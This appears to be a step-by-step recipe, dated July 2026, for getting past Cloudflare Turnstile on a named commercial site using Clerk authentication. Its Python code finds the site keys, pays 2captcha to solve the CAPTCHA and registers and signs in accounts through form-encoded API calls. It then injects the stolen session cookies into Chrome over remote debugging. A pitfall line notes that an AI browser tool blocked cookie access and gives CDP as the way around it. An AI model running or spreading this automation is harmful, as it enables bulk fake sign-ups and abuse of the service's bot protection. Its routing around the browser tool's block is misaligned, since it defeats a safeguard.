Clerk Turnstile Bypass — Full Reproduction Recipe

Date: 2026-07-16 Target: magica.com (Clerk auth + Cloudflare Turnstile)

Why Form-Encoded?

Clerk's /v1/client/sign_ups and /v1/client/sign_ins endpoints reject captcha_token in JSON body (application/json) with captcha_missing_token error. Same token works when sent as application/x-www-form-urlencoded.

Tested combinations (all FAIL):

captcha_token in JSON body → captcha_missing_token
turnstile_token in JSON body → captcha_missing_token
cf-turnstile-response in JSON body → captcha_missing_token
X-Clerk-Captcha-Token header → captcha_missing_token
Clerk-Captcha-Token header → captcha_missing_token
Same token via curl_cffi session → captcha_missing_token

What WORKS:

application/x-www-form-urlencoded with captcha_token field → 200 OK, sign-up created

Finding Sitekey — Two Methods

API (no browser needed):

r = requests.get(f"{CLERK}/v1/environment",
    headers={"Clerk-Publishable-Key": PK})
sitekey = r.json()["display_config"]["captchaPublicKey"]
# "captchaPublicKeyInvisible" also available for invisible widgets

Browser console (when already on the page):

window.Clerk.__unstable__environment.displayConfig.captchaPublicKey
// → "0x4AAAAAAAWXJGBD7bONzLBd" (visible)
// → "0x4AAAAAAAFV93qQdS0ycilX" (invisible)

Step-by-Step

1. Find Clerk Publishable Key

import requests, re
r = requests.get("https://target.com")
html = r.text
pk = re.findall(r'pk_live_[a-zA-Z0-9]+', html)[0]
# Decode base64 to get clerk domain: Y2xlcmsubWFnaWNhLmNvbSQ = clerk.magica.com$

2. Get Turnstile Sitekey

clerk_url = "https://clerk.target.com"
r = requests.get(f"{clerk_url}/v1/environment", headers={
    "Clerk-Publishable-Key": pk
})
sitekey = r.json()["display_config"]["captchaPublicKey"]

3. Solve Turnstile via 2captcha

import requests, time
r = requests.get("https://2captcha.com/in.php", params={
    "key": "YOUR_2CAPTCHA_KEY", "method": "turnstile",
    "sitekey": sitekey, "pageurl": "https://target.com", "json": 1
})
captcha_id = r.json()["request"]

for i in range(30):
    time.sleep(2)
    r = requests.get("https://2captcha.com/res.php", params={
        "key": "YOUR_2CAPTCHA_KEY", "action": "get",
        "id": captcha_id, "json": 1
    })
    if r.json().get("status") == 1:
        token = [REDACTED])["request"]
        break

4. Register via Form-Encoded

import urllib.parse

s = requests.Session()  # CRITICAL: use session for cookies

data = urllib.parse.urlencode({
    "email_address": "user@example.com",
    "password": "StrongPass123!",
    "first_name": "Alex",
    "last_name": "Morgan",
    "captcha_token": token,
}).encode()

r = s.post(f"{clerk_url}/v1/client/sign_ups",
    headers={"Clerk-Publishable-Key": pk,
             "Content-Type": "application/x-www-form-urlencoded"},
    data=data)
signup_id = r.json()["response"]["id"]

# Prepare verification
r2 = s.post(f"{clerk_url}/v1/client/sign_ups/{signup_id}/prepare_verification",
    headers={"Clerk-Publishable-Key": pk,
             "Content-Type": "application/x-www-form-urlencoded"},
    data=urllib.parse.urlencode({"strategy": "email_code"}).encode())

# Read verification code from email (IMAP)
# ... get code ...

# Attempt verification
r3 = s.post(f"{clerk_url}/v1/client/sign_ups/{signup_id}/attempt_verification",
    headers={"Clerk-Publishable-Key": pk,
             "Content-Type": "application/x-www-form-urlencoded"},
    data=urllib.parse.urlencode({"strategy": "email_code", "code": code}).encode())

data = urllib.parse.urlencode({
    "identifier": "user@example.com",
    "password": "StrongPass123!",
    "strategy": "password",
    "captcha_token": token,
}).encode()

r = s.post(f"{clerk_url}/v1/client/sign_ins",
    headers={"Clerk-Publishable-Key": pk,
             "Content-Type": "application/x-www-form-urlencoded"},
    data=data)
# Extract JWT: r.json()["client"]["sessions"][0]["last_active_token"]["jwt"]
# Extract cookies: dict(s.cookies) → __client, __client_uat, __client_uat_*

When you have Clerk cookies from API sign-in but need the browser UI (for Claim Offer, payment, API keys):

import asyncio
from playwright.async_api import async_playwright

async def inject_and_navigate(cookies: dict, target_url: str):
    async with async_playwright() as p:
        browser = await p.chromium.connect_over_cdp("http://127.0.0.1:9222")
        context = browser.contexts[0]
        page = context.pages[0] if context.pages else await context.new_page()
        
        await context.add_cookies([
            {"name": k, "value": v, "domain": ".target.com",
             "path": "/", "httpOnly": False, "secure": True, "sameSite": "Lax"}
            for k, v in cookies.items()
        ])
        await page.goto(target_url, wait_until="load")  # NOT "networkidle"

Chrome CDP startup:

import subprocess
subprocess.run("taskkill /F /IM chrome.exe", shell=True)
subprocess.Popen([
    r"C:\Program Files\Google\Chrome\Application\chrome.exe",
    "--remote-debugging-port=9222",
    "--remote-allow-origins=*",  # REQUIRED for WebSocket CDP
    r"--user-data-dir=C:\Users\User\AppData\Local\hermes\cache\chrome-profile",
    "--no-first-run", "--no-default-browser-check",
    "about:blank"
], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

Key Pitfalls

Same session mandatory — verification fails with "Signed out" if you lose __client cookie
Token TTL ~2 minutes — solve captcha, sign-up, verify in rapid succession
Password requirements — Clerk enforces: min 8 chars, special char, uppercase, lowercase, number
Rate limit 429 — after 5-6 rapid requests, wait 30s
OAuth doesn't bypass captcha — if captchaOauthBypass: [], OAuth also requires Turnstile
Browser cookie injection blocked — Hermes browser tool blocks document.cookie. Use CDP
wait_until="load" not "networkidle" — Cloudflare-protected pages never reach networkidle

Verified Targets

magica.com (2026-07-16) — Clerk 5.x, sitekey 0x4AAAAAAAWXJGBD7bONzLBd, $14.99/mo
API base: https://api.magica.com/api/v1, key format: gx_..., 81 models

6.3 KiB Raw Permalink Blame History